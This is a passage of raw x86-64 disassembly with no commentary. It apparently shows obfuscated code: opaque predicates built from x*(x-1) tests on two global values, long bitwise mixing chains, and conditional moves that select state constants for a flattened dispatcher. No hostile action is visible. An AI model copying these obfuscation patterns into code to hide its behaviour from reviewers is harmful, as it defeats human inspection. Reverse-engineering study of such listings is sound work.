and edi, 0x5992100b
mov eax, esi
and eax, 0xa66deff4
or eax, edi
xor eax, 0x5992100a
and esi, 1
or esi, eax
mov eax, esi
not eax
mov ecx, ebp
not ecx
mov edx, ecx
and edx, 0xca014cac
and ebp, 0x35feb353
or ebp, edx
or ecx, esi
and esi, 0xca014cac
and eax, 0x35feb353
or eax, esi
xor eax, ebp
not ecx
or ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0xe6ec3fa8
and eax, 0x1913c057
or eax, edx
xor eax, 0xe6ec3fa8
xor ecx, eax
test ecx, eax
sete al
setne cl
cmp r8d, 0xa
setl r9b
cmp r8d, 9
setg dl
and r9b, cl
xor cl, dl
xor cl, 1
mov ebx, ecx
xor bl, dl
and bl, cl
and al, dl
or al, r9b
mov edx, ebx
xor dl, 1
mov ecx, eax
xor cl, 1
and al, dl
or dl, cl
and cl, bl
or cl, al
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x266d5561
mov ebp, 0x30985979
cmovne eax, ebp
test cl, cl
mov ecx, eax
mov ebp, 0x266d5561
cmovne ecx, ebp
test dl, dl
jmp 0x14015d285
mov edx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ebp, [rdx - 1]
imul ebp, edx
mov ebx, ebp
not ebx
mov edx, ebx
and edx, 0x70eab9f5
mov ecx, ebp
xor ecx, 0x70eab9f5
and ecx, ebp
mov edi, edx
and edi, ecx
xor ecx, edx
or ecx, edi
mov edx, ecx
not edx
and edx, 0xed2ba99d
and ecx, 0x12d45662
or ecx, edx
xor ecx, 0x9dc11069
and ebx, 0x86237ec5
and ebp, 0x79dc813a
or ebp, ebx
xor ebp, 0x79dc813a
mov edx, ecx
and edx, ebp
xor ebp, ecx
or ebp, edx
mov ecx, ebp
not ecx
and ecx, 0x4b5c686f
and ebp, 0xb4a39790
or ebp, ecx
xor ebp, 0xb4a39790
sete cl
setne r8b
cmp eax, 0xa
setl dl
cmp eax, 9
setg al
mov ebx, edx
or bl, cl
and cl, al
xor al, r8b
xor bl, 1
or bl, al
mov eax, ebx
not al
and dl, r8b
or dl, cl
mov ecx, edx
xor cl, 1
and dl, bl
or bl, cl
and cl, al
or cl, dl
mov eax, ecx
xor al, bl
test cl, cl
mov ecx, 0xde8d29ae
mov edx, 0xb1bbe955
cmovne ecx, edx
test bl, bl
mov ebp, 0xde8d29ae
cmovne ecx, ebp
jmp 0x14015cd4f
mov edx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ebp, [rdx - 1]
imul ebp, edx
mov ebx, ebp
not ebx
mov edx, ebx
and edx, 0x3cf19614
mov ecx, ebp
and ecx, 0xc30e69eb
or ecx, edx
mov edi, ecx
xor edi, 0x400e4880
xor ecx, 0x38800610
mov edx, ebp
or edx, 0xbb80277a
and ecx, 0xbb80277a
and edi, 0x447fd884
or edi, ecx
and edx, 0xbb80277b
xor edx, edi
mov ecx, edx
not ecx
and ebx, 0x140ea955
and ebp, 0xebf156aa
or ebp, ebx
mov ebx, ebp
xor ebx, 0x814154a8
xor ebp, 0x140ea955
mov edi, edx
and edi, 0x7ab48a13
and ecx, 0x854b75ec
or ecx, edi
or edx, ebp
and ebp, 0x7ab48a13
and ebx, 0x854b75ec
or ebx, ebp
xor ebx, ecx
not edx
or edx, ebx
cmp edx, 0xffffffff
sete r8b
setne cl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov edx, ecx
and dl, al
and bl, r8b
or bl, dl
mov edx, ebx
xor dl, al
and dl, bl
xor al, cl
mov ecx, eax
xor cl, 1
mov r8d, eax
mov ebx, edx
or al, dl
xor dl, 1
and r8b, dl
and bl, cl
or bl, r8b
xor dl, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, bl
test al, 1
mov eax, 0x9a5d01e9
mov edx, 0xf802c668
cmovne eax, edx
test bl, bl
cmove eax, edx
test cl, 1
mov ecx, 0x9a5d01e9
jmp 0x14014f72e
mov eax, dword [0x1402656d8]
mov ecx, dword [0x1402656d4]
lea edx, [rax - 1]
imul edx, eax
mov ebx, edx
not ebx
mov eax, ebx
and eax, 0xaf8f1128
and edx, 0x5070eed7
or edx, eax
mov eax, edx
xor eax, 0x10c292
xor edx, 0x268f0108
mov ebp, ebx
or ebp, 0x76ef2d4c
or edx, 1
and edx, 0x76ef2d4d
and eax, 0x8910d2b2
or eax, edx
and ebp, 0x76ef2d4d
xor ebp, eax
not ebp
mov eax, ebp
and eax, ebx
xor ebp, ebx
or ebp, eax
mov eax, ebp
not eax
and eax, 0x1de491dd
and ebp, 0xe21b6e22
or ebp, eax
xor ebp, 0xe21b6e22
setne r8b
sete r9b
cmp ecx, 0xa
setl al
cmp ecx, 9
setg r10b
mov ebx, r10d
xor bl, al
and bl, r10b
mov edx, ebx
xor dl, 1
mov ecx, ebx
and cl, dl
xor cl, 1
mov r11d, ecx
xor r11b, dl
or cl, dl
xor cl, 1
or cl, r11b
or dl, bl
mov ebx, edx
xor bl, cl
xor cl, 1
xor bl, 1
or cl, dl
xor cl, 1
or cl, bl
mov ebx, r9d
and r8b, al
and r10b, r9b
mov edx, eax
and dl, r9b
xor al, r9b
or r9b, cl
xor bl, cl
xor bl, 1
and bl, cl
xor bl, 1
mov ecx, r9d
xor cl, bl
or bl, r9b
xor bl, 1
or bl, cl
or r10b, r8b
or al, dl
xor al, 1
mov ecx, r10d
and cl, al
xor al, r10b
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
xor al, 1
xor bl, 1
mov edx, ebx
or dl, al
xor bl, al
mov eax, edx
xor al, bl
test al, 1
mov eax, 0xbe1d3eac
mov ecx, 0xe64b69ad
cmovne eax, ecx
test bl, 1
mov ecx, eax
mov ebp, 0xbe1d3eac
jmp 0x14015d27f
mov edx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x4f140dd1
and edx, ecx
and ecx, 0xb0ebf22e
or ecx, ebp
mov ebp, ecx
xor ebp, 0x80a9422a
xor ecx, 0x4f140dd1
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x7256b9c4
and ebp, 0x8da9463b
or ebp, edi
or ecx, ebx
and ebx, 0x7256b9c4
and edx, 0x8da9463b
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
xor edx, 1
and edx, ecx
mov ebp, ecx
not ebp
and ebp, 0xfffffffe
and ecx, 1
or ecx, ebp
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov ebp, ecx
not ebp
mov ebx, ebp
or ebx, 0x513c85ab
mov edx, ebx
not edx
or ecx, 0x8e004a54
and ecx, 0x9f304f74
and ebp, 0x400c808b
or ebp, ecx
and ebx, 0x9f304f74
and edx, 0x20c33000
or edx, ebx
xor edx, ebp
mov ecx, edx
not ecx
and ecx, 0xaec37a54
and edx, 0x513c85ab
or edx, ecx
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0xe05edcdd
and edx, 0x1fa12322
or edx, ebp
xor edx, 0x1fa12322
or edx, ecx
cmp edx, 0xffffffff
sete r8b
setne r9b
cmp eax, 0xa
setl dl
cmp eax, 9
setg cl
mov eax, r9d
xor al, cl
mov ebx, eax
and bl, r9b
and al, cl
mov r10d, ebx
xor r10b, 1
xor bl, al
xor al, 1
or al, r10b
xor al, 1
or al, bl
and r9b, dl
and cl, r8b
or cl, r9b
mov ebx, edx
and bl, r8b
xor dl, r8b
or dl, bl
xor cl, 1
mov ebx, ecx
xor bl, dl
or cl, dl
xor cl, 1
or cl, bl
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
xor dl, 1
mov r8d, edx
xor r8b, cl
or dl, cl
xor dl, 1
or dl, r8b
xor dl, al
mov ecx, eax
xor cl, bl
or bl, al
xor bl, 1
or bl, cl
mov eax, ebx
xor al, dl
test bl, 1
mov ecx, 0xfb75065b
mov ebp, 0xf7a8c993
cmovne ecx, ebp
test dl, 1
mov r12d, 0xf7a8c993
cmove ecx, ebp
test al, 1
mov eax, 0xfb75065b
jmp 0x14015cf0e
mov edx, dword [0x1402656d8]
mov r8d, dword [0x1402656d4]
lea ebx, [rdx - 1]
imul ebx, edx
mov edi, ebx
not edi
mov ebp, edi
and ebp, 0xdda3d607
mov edx, ebx
and edx, 0x225c29f8
or edx, ebp
mov ebp, edx
xor ebp, 0x80888
xor edx, 0x5da05005
mov ecx, ebx
xor ecx, 0x7fa8588d
and ecx, ebx
or edx, 0x8057a772
mov esi, ecx
not esi
mov eax, edx
and eax, 0xe3212752
and ebp, 0x1c88588d
or ebp, eax
or edx, esi
and esi, 0xe3212752
and ecx, 0x1cded8ad
or ecx, esi
xor ecx, ebp
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0x8057a773
and edx, 0x7fa8588c
or edx, eax
mov eax, edx
not eax
and edi, eax
and edx, ebx
or edx, edi
not edx
or edx, eax
cmp edx, 0xffffffff
setne r9b
sete r10b
cmp r8d, 9
setg cl
cmp r8d, 0xa
setl r8b
mov ebx, r10d
xor bl, r9b
and bl, r10b
mov edx, ebx
xor dl, 1
mov eax, edx
and al, bl
mov r11d, edx
xor r11b, al
xor al, 1
or al, bl
xor al, 1
or al, r11b
or dl, bl
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
xor dl, r8b
or r8b, r10b
xor r8b, 1
xor cl, r9b
mov eax, r8d
and al, cl
xor cl, r8b
or cl, al
mov eax, ecx
mov ebx, edx
xor bl, cl
and bl, dl
and cl, dl
xor dl, 1
xor al, 1
and al, dl
or cl, al
mov eax, ecx
xor al, bl
test cl, 1
mov ecx, 0x88ccb0bf
mov ebp, 0xdd306848
cmovne ecx, ebp
test bl, 1
mov edx, 0x88ccb0bf
cmove ecx, edx
jmp 0x14015d17c
mov edx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
xor edx, 0x100f4049
and edx, ecx
or ecx, 0xeff0bfb6
mov ebp, ecx
not ebp
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x89013069
and ebp, 0x100e4000
or ebp, edi
or ecx, ebx
and ebx, 0x89013069
and edx, 0x76fecf96
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xeff0bfb6
and ecx, 0x100f4049
or ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
and ebp, 0xfffffffe
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
and edx, 0x208938
mov ebp, ecx
and ebp, 0x91934003
or ebp, edx
xor ebp, 0x91934003
and ecx, 0x6e4c36c4
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x6e4c36c4
and ecx, 0x91b3c93b
or ecx, edx
mov edx, ecx
not edx
and edx, 0x453554b
and ecx, 0xfbacaab4
or ecx, edx
mov edx, ecx
xor edx, 0x608020b4
xor ecx, 0x4414540
and ecx, 0x9f6dcf40
and edx, 0x609230bf
or edx, ecx
xor edx, 0x9f6dcf40
cmp edx, 0xffffffff
sete r8b
cmp eax, 9
setg cl
cmp eax, 0xa
setl al
mov ebx, eax
xor bl, cl
and bl, al
xor bl, r8b
mov edx, ecx
xor dl, r8b
and dl, cl
xor al, r8b
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
mov edx, ebx
xor dl, cl
and dl, bl
and cl, bl
xor bl, 1
and al, bl
or cl, al
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0x4b1a20af
mov ebp, 0x9b1915be
cmovne ecx, ebp
test dl, dl
mov edx, 0x4b1a20af
cmove ecx, edx
jmp 0x14015d17c
mov edx, dword [0x1402656d8]
mov ecx, dword [0x1402656d4]
lea eax, [rdx - 1]
imul eax, edx
mov edx, eax
not edx
mov ebp, edx
and ebp, 0xf63a95a
mov ebx, eax
and ebx, 0xf09c56a4
or ebx, ebp
xor ebx, 0xf09c56a4
mov ebp, eax
and ebp, 1
or ebp, ebx
and edx, 0xb24abfbc
and eax, 0x4db54043
or eax, edx
mov edx, eax
xor edx, 0x5844002
mov ebx, ebp
not ebx
mov edi, ebx
and edi, 0x7a392bc1
and ebp, 0x85c6d43e
or ebp, edi
xor eax, 0x32082b80
and eax, 0x7a392bc1
and edx, 0x85c6d43e
or edx, eax
xor edx, ebp
xor ebx, edx
test ebx, edx
setne r8b
sete r9b
cmp ecx, 9
setg al
cmp ecx, 0xa
setl dl
mov ebx, r9d
xor bl, r8b
and bl, r9b
mov ecx, ebx
xor cl, dl
and bl, cl
and cl, dl
mov r10d, ebx
xor r10b, 1
xor bl, cl
xor cl, 1
or cl, r10b
xor cl, 1
or cl, bl
and r8b, dl
or dl, r9b
xor dl, 1
and al, r9b
or al, r8b
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov ebx, eax
xor bl, 1
mov edx, ebx
and dl, al
mov r8d, ebx
and r8b, dl
xor dl, bl
or dl, r8b
xor dl, cl
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
mov ecx, edx
xor cl, al
not cl
test cl, 1
mov ebp, 0x3dc709b6
mov ecx, 0x136e3ac4
cmovne ebp, ecx
test al, 1
mov ecx, 0x3dc709b6
cmovne ecx, ebp
jmp 0x14015d380
mov eax, dword [0x1402656d8]
mov ecx, dword [0x1402656d4]
lea ebx, [rax - 1]
imul ebx, eax
mov eax, ebx
not eax
mov ebp, eax
and ebp, 0xfffffffe
mov edx, ebx
and edx, 1
or edx, ebp
mov edi, edx
not edi
mov ebp, edi
and ebp, 0x175f441b
and edx, 0xe8a0bbe4
or edx, ebp
and ebx, 0x175f441b
and eax, 0xe8a0bbe4
or eax, ebx
xor eax, edx
not eax
or eax, edi
cmp eax, 0xffffffff
sete r8b
setne r9b
cmp ecx, 9
setg r11b
cmp ecx, 0xa
setl r10b
mov ebx, r9d
xor bl, r8b
and bl, r9b
mov ecx, ebx
xor cl, 1
mov edx, ebx
and dl, cl
xor dl, 1
mov eax, edx
xor al, cl
or dl, cl
xor dl, 1
or dl, al
or cl, bl
mov eax, ecx
xor al, dl
xor dl, 1
xor al, 1
or dl, cl
xor dl, 1
or dl, al
mov ecx, r10d
xor cl, dl
xor cl, 1
and cl, dl
or dl, r10b
mov eax, edx
xor al, cl
xor cl, 1
xor al, 1
or cl, dl
xor cl, 1
or cl, al
and r9b, r10b
or r10b, r8b
xor r10b, 1
and r11b, r8b
or r11b, r9b
mov eax, r10d
and al, r11b
xor r11b, r10b
or r11b, al
mov eax, r11d
xor al, 1
mov edx, eax
and dl, r11b
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
xor dl, cl
xor cl, 1
mov eax, ecx
and al, r11b
xor cl, r11b
or cl, al
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0xe9badbde
mov ebp, 0xefa19f9e
cmovne ecx, ebp
test dl, 1
cmove ecx, ebp
test al, 1
mov eax, 0xe9badbde
jmp 0x14015cf0e
mov ecx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea edi, [rcx - 1]
imul edi, ecx
mov ecx, edi
not ecx
mov ebp, ecx
and ebp, 0xeddc3008
mov edx, edi
and edx, 0x1223cff6
or edx, ebp
xor edx, 0x1223cff6
mov ebx, edi
xor ebx, 0xfffffffe
and ebx, edi
mov ebp, edx
and ebp, ebx
xor ebx, edx
or ebx, ebp
mov edx, ebx
not edx
mov ebp, edx
and ebp, 0x66a82c9a
and ebx, 0x9957d365
or ebx, ebp
and edi, 0x66a82c9a
and ecx, 0x9957d365
or ecx, edi
xor ecx, ebx
xor edx, ecx
test edx, ecx
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
and cl, dl
and r8b, al
xor al, dl
or al, cl
and bl, dl
or bl, r8b
mov ecx, ebx
and bl, al
xor al, 1
xor cl, 1
mov edx, eax
xor dl, cl
and dl, al
and cl, al
or cl, bl
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x6940410
mov ebp, 0x26714eec
cmovne eax, ebp
test cl, cl
mov ecx, eax
cmovne ecx, ebp
test dl, dl
jmp 0x14015cf0e
mov edx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x1dcfc451
and edx, ecx
and ecx, 0xe2303bae
or ecx, ebp
xor ecx, 0xe2303bae
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
mov ebp, ecx
and ebp, 0xfffffffe
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
cmp ecx, 0xffffffff
sete cl
setne dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
mov r8d, eax
xor r8b, dl
and cl, bl
and al, dl
or al, cl
mov ecx, ebx
xor cl, dl
or bl, dl
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, al
xor al, 1
xor cl, 1
or al, bl
xor al, 1
or al, cl
mov edx, eax
xor dl, 1
and dl, al
xor dl, 1
mov ecx, eax
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
mov eax, r8d
xor al, dl
xor dl, 1
or dl, r8b
xor al, 1
mov ebx, edx
xor bl, al
test al, 1
mov ecx, 0xb8ca0813
mov eax, 0x2f20639c
cmovne ecx, eax
test dl, 1
mov edx, 0xb8ca0813
cmovne ecx, edx
test bl, 1
jmp 0x14015cf0e
mov edx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x3c13f688
and edx, ecx
and ecx, 0xc3ec0977
or ecx, ebp
xor ecx, 0xc3ec0977
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
mov ebp, ecx
not ebp
and ebp, 0xbe493d8e
mov edx, ecx
and edx, 0x41b6c271
or edx, ebp
mov ebp, edx
xor ebp, 0x41b6c271
mov ebx, ebp
and ebx, 0x2cb1d03a
and ecx, 0xd34e2fc5
or ecx, ebx
mov ebx, ecx
not ebx
and ebx, 0x19439a08
and ecx, 0xe6bc65f7
or ecx, ebx
mov ebx, ecx
xor ebx, 0x2013404
and ebp, 1
xor edx, 0x41b6c270
or edx, ebp
mov ebp, edx
not ebp
xor ecx, 0x35f24a33
mov edi, ecx
and edi, 0xf9bc89db
and ebx, 0x6437624
or ebx, edi
or ecx, edx
and edx, 0xf9bc89db
and ebp, 0x6437624
or ebp, edx
xor ebp, ebx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xe1396d44
and ecx, 0x1ec692bb
or ecx, edx
xor ecx, 0x1ec692bb
sete r8b
setne r10b
cmp eax, 9
setg cl
cmp eax, 0xa
setl r9b
mov edx, r9d
xor dl, cl
and dl, r9b
mov ebx, r10d
or bl, dl
xor bl, 1
mov r11d, r10d
xor r11b, dl
not r11b
and r11b, dl
mov edx, ebx
and dl, r11b
xor r11b, bl
or r11b, dl
mov edx, ecx
xor dl, r8b
and dl, cl
and r10b, r9b
and cl, r8b
or cl, r10b
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, r11d
xor dl, 1
mov ebx, ecx
xor bl, dl
mov eax, r11d
and al, dl
xor al, 1
mov r8d, eax
xor r8b, dl
or al, dl
xor al, 1
or al, r8b
xor al, cl
xor bl, 1
or cl, r11b
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x88282b50
mov ebp, 0xbf700900
cmovne edx, ebp
test cl, 1
mov ecx, 0x88282b50
cmovne ecx, edx
test al, 1
jmp 0x14015d4cb
mov ecx, dword [0x1402656d8]
lea eax, [rcx - 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfe99236a
and ecx, eax
and eax, 0x166dc95
or eax, edx
mov edx, eax
xor edx, 0x1428881
xor eax, 0xfe99236a
mov ebp, ecx
not ebp
mov ebx, eax
and ebx, 0x424777e
and edx, 0xfbdb8881
or edx, ebx
or eax, ebp
and ebp, 0x424777e
and ecx, 0xfbdb8881
or ecx, ebp
xor ecx, edx
not eax
or eax, ecx
mov edi, eax
not edi
mov ebp, eax
xor ebp, 0xe73b24ed
and ebp, edi
mov ebx, edi
or ebx, 0xe73b24ed
mov ecx, ebx
not ecx
mov edx, ebp
not edx
mov esi, edx
and esi, 0xd8abc701
and ebp, 0x275438fe
or ebp, esi
or edx, ebx
and ebx, 0xd8abc701
and ecx, 0x441812
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xdb340c0f
and edx, 0x24cbf3f0
or edx, ecx
xor edx, 0xc3f0d71c
and edi, 1
xor eax, 0xfffffffe
or eax, edi
not eax
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xedb908b0
and ecx, eax
and eax, 0x1246f74f
or eax, edx
mov edx, eax
xor edx, 0x240c60c
xor eax, 0xedb908b0
mov ebp, ecx
not ebp
mov ebx, eax
and ebx, 0x11063173
and edx, 0xeef9ce8c
or edx, ebx
or eax, ebp
and ebp, 0x11063173
and ecx, 0xeef9ce8c
or ecx, ebp
xor ecx, edx
not eax
or eax, ecx
setne r8b
sete al
cmp dword [0x1402656d4], 9
setg bl
mov ecx, eax
xor cl, r8b
and cl, al
mov edx, ecx
xor dl, 1
mov eax, edx
and al, cl
xor al, 1
mov r9d, ecx
xor r9b, al
or al, cl
xor al, 1
or al, r9b
or dl, cl
mov ecx, eax
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
mov eax, ebx
xor al, dl
xor al, 1
and al, dl
or dl, bl
xor dl, 1
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov ecx, ebx
xor cl, r8b
or bl, r8b
xor bl, 1
or bl, cl
mov eax, ebx
xor al, cl
xor cl, 1
xor al, 1
or cl, bl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
and cl, al
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
xor cl, dl
mov eax, ecx
xor al, 1
and dl, al
xor al, dl
test al, 1
mov eax, 0xefc170b4
mov ebp, 0xf95e065c
cmovne eax, ebp
test cl, 1
mov ecx, eax
mov ebp, 0xefc170b4
cmovne ecx, ebp
test dl, 1
cmove ecx, eax
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
mov ecx, 0x589eab9
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
mov rax, qword [rsp + 0x30]
mov ecx, 0xd979f1cc
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
mov ecx, 0x7bbdb9c0
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
mov eax, dword [0x1402656d8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0x283503a4
and edx, ecx
not ecx
mov ebp, ecx
and ebp, 0x310180
and eax, 0x28040224
or eax, ebp
xor eax, 0x28040224
mov ebp, eax
and ebp, edx
xor edx, eax
or edx, ebp
mov eax, edx
not eax
and eax, 0xd7cafc5a
and edx, 0x283503a5
or edx, eax
not edx
mov eax, edx
and eax, ecx
xor edx, ecx
or edx, eax
cmp edx, 0xffffffff
sete al
cmp dword [0x1402656d4], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
xor dl, 1
mov eax, ecx
xor al, dl
or dl, cl
mov ebx, eax
xor bl, dl
test al, al
mov ecx, 0x3d4297cc
mov ebp, 0x9a18517d
cmovne ecx, ebp
test dl, dl
mov eax, 0x3d4297cc
cmovne ecx, eax
test bl, bl
jmp 0x14015d6e4
mov ecx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0x61a0bd25
and ecx, edx
and edx, 0x9e5f42da
or edx, ebp
mov ebp, edx
xor ebp, 0x85c4052
xor edx, 0x61a0bd25
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0xf7a30e89
and ebp, 0x85cf176
or ebp, edi
or edx, ebx
and ebx, 0xf7a30e89
and ecx, 0x85cf176
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
mov ebp, edx
mov ecx, edx
xor ecx, 0x73cfba68
and ecx, edx
not edx
and edx, 0x3572f06
and ebp, 0xfca8d0f9
or ebp, edx
mov ebx, ebp
xor ebx, 0xfca8d0f9
mov edx, ebx
and edx, 0x73cfba68
mov edi, edx
and edi, ecx
xor ecx, edx
or ecx, edi
mov edx, ecx
not edx
and edx, 0x11daebe0
and ecx, 0xee25141f
or ecx, edx
xor ecx, 0x9deaae76
and ebx, 1
xor ebp, 0xfca8d0f8
or ebp, ebx
not ebp
mov edx, ecx
and edx, ebp
xor ebp, ecx
or ebp, edx
mov ecx, ebp
not ecx
and ebp, 0xf7ccb534
and ecx, 0x8334acb
or ecx, ebp
mov edx, ecx
xor edx, 0xc7448030
xor ecx, 0x8334acb
mov ebp, ecx
and ebp, 0x389a3dc5
and edx, 0xc765c23a
or edx, ebp
xor edx, 0x389a3dc5
xor ecx, edx
test ecx, edx
sete r8b
setne r9b
cmp eax, 9
setg cl
cmp eax, 0xa
setl r10b
mov eax, r10d
xor al, cl
and al, r10b
mov ebx, r9d
or bl, al
xor al, 1
xor bl, 1
or al, r8b
xor al, 1
mov edx, ebx
and dl, al
xor al, bl
or al, dl
and r9b, r10b
or r10b, r8b
and cl, r8b
or cl, r9b
mov edx, r10d
xor dl, cl
xor cl, 1
xor dl, 1
or cl, r10b
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, al
xor al, 1
or al, cl
xor dl, 1
mov ecx, eax
xor cl, dl
test cl, 1
mov ebp, 0x58730c62
mov ecx, 0xc881eb4
cmovne ebp, ecx
test dl, 1
mov ecx, ebp
mov edx, 0x58730c62
cmovne ecx, edx
test al, 1
jmp 0x14015d383
mov ecx, 0xb9449f46
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
mov edx, dword [0x1402656d8]
mov ecx, dword [0x1402656d4]
lea eax, [rdx - 1]
imul eax, edx
mov edx, eax
not edx
mov ebp, edx
and ebp, 0x11c1712
mov ebx, eax
and ebx, 0xfee3e8ec
or ebx, ebp
xor ebx, 0xfee3e8ec
mov ebp, eax
xor ebp, 0xfffffffe
and ebp, eax
mov edi, ebx
and edi, ebp
xor ebp, ebx
or ebp, edi
and edx, 0xb0c4ef0c
and eax, 0x4f3b10f3
or eax, edx
mov edx, eax
xor edx, 0x4f3b10f3
xor eax, 0xb0c4ef0c
and eax, ebp
not ebp
and edx, ebp
or eax, edx
xor ebp, eax
test ebp, eax
setne r8b
sete r9b
cmp ecx, 0xa
setl al
cmp ecx, 9
setg bl
mov edx, ebx
xor dl, al
and dl, bl
mov r10d, edx
xor r10b, 1
mov ecx, edx
or cl, r10b
xor dl, cl
xor dl, 1
or cl, r10b
xor cl, 1
or cl, dl
xor al, r9b
and r9b, cl
not cl
and cl, r8b
or cl, r9b
mov edx, ebx
xor dl, r8b
or bl, r8b
xor bl, 1
or bl, dl
mov edx, ebx
xor dl, al
xor al, 1
xor dl, 1
or al, bl
xor al, 1
or al, dl
xor cl, 1
mov edx, ecx
or dl, al
xor cl, al
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x7667a079
mov ebp, 0xdee7fc3
cmovne eax, ebp
test cl, 1
mov ecx, eax
mov ebp, 0x7667a079
cmovne ecx, ebp
test dl, 1
cmovne ecx, eax
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
mov ecx, 0xbce09d12
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
mov ecx, dword [0x1402656d8]
lea eax, [rcx - 1]
imul eax, ecx
mov edi, eax
not edi
mov edx, edi
or edx, 0x5a612f8f
mov ecx, edx
not ecx
mov ebx, eax
or ebx, 0x201c0020
and ebx, 0x3a3d0dab
mov ebp, edi
and ebp, 0x40402204
or ebp, ebx
and edx, 0x3a3d0dab
and ecx, 0x8582d050
or ecx, edx
xor ecx, ebp
mov edx, ecx
not edx
and edx, 0x69a674a4
and ecx, 0x96598b5b
or ecx, edx
mov edx, ecx
xor edx, 0xcc38a4d5
and edi, 0x414c6e5c
and eax, 0xbeb391a3
or eax, edi
mov ebp, eax
xor ebp, 0xbeb391a3
xor ecx, 0x33c75b2a
and ebp, ecx
xor eax, 0x414c6e5c
and eax, edx
or eax, ebp
xor ecx, eax
test ecx, eax
sete al
cmp dword [0x1402656d4], 0xa
setl cl
mov edx, ecx
or dl, al
xor dl, 1
xor cl, al
or dl, cl
mov ebx, edx
xor bl, 1
and dl, cl
xor cl, 1
mov eax, ebx
xor al, cl
and al, bl
and cl, bl
or cl, dl
mov edx, eax
xor dl, cl
test cl, cl
mov ecx, 0x420218e
mov ebp, 0x7c1885e7
cmovne ecx, ebp
test al, al
mov eax, 0x420218e
cmove ecx, eax
test dl, 1
cmovne ecx, ebp
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
mov eax, dword [0x1402656d8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
